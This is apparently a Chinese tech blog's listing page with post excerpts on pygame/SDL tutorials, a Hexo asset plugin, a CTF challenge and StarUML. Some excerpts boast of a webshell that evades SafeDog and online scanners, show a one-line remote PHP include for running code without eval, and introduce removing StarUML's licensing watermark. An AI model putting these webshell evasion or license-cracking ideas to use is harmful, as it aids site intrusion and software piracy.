看了下pygame的介绍,发现居然是!!SDL!!2014年一直玩的东西,打算水完Python系列以后,再水一下用SDL2来做一个贪吃蛇,很久没弄了。
在一个游戏中,显示的控制也是一个比较重要的东西,在不同的机器上,界面刷新的频率不一样(也就是fps不一样),这样照成的结果就是
在不同情况下,基于帧的动画的效果会不同,本次将控制帧率
一个游戏不仅仅要能够显示出画面啊,还得接受事件并处理不是么,本次显示一波事件
上一篇文章我们显示了一个文字:hello world,这篇文章我们来显示一波图片
实训果然是实训不是实习,钱都没有,还给人洗脑
培训机构学不到什么东西的,就算充钱了也不会变强。
开启一个系列,因为每天都要水一篇文章,有技术就分享,没技术就水基础教程,先水一个贪吃蛇
因为 Hexo
的模块 hexo-asset-image
只支持图片装换,而且图片装换不太友好,根据原先的代码,我修改以后PR提交给原作者,原作者也不理我,所以新开一个坑用来处理这个问题,使用非常简单,按照常规Markdown
方式引用即可,因为 Hexo
系统的原因,所有的资源都会归档到 _posts
下的同名文件夹下,使用的时候开启 post_asset_folder
配置,然后直接引用资源即可。
实例Markdown
1 | # Test Assets |
文件夹结构
1 | markdown-post |
这样不管在编辑时还是处理时,都会保证资源引用的正确性,写起来也方便,不需要预览或者开启服务
模块安装
使用如下命令安装即可
1 | npm install hexo-assets --save |
安全狗绕过是一个比较热门的话题?反正我这边这个Shell
经过 安全狗、https://scanner.baidu.com 、http://n.shellpub.com 的检测,没检测出来,美滋滋。
检测结果
- 题目地址:https://ctf.x10sec.org/web2
- 题目级别:入门级
- 题目考察:
- 基本编程技能
- 网页处理
之前一直在想一个问题,怎么在不使用eval
函数的前提下执行php代码,因为不管是一句话还是其他的骚操作好像都要通过eval
函数来执行PHP代码(如果有其他方式,请指出吧,我表示就知道一个),现在的一句话代码也是如此,那么如何绕过这个东西来执行代码?用PHP也有几年了,今天突然灵光一闪,我们来看下面的代码:
1 | include 'http://www.test.com/xx.php' |
StarUML 是一个方便的UML绘图工具,一直在使用这个,现在StarUML更新到了3.0,对弹窗做了很多的优化,现在支持了原始弹窗,和右键菜单,比以前的右键菜单好多了,但是未注册的导出的图片很尬尬,有水印,学生党什么的,肯定不能购买咯, :joy: ,话不多说,开始分析。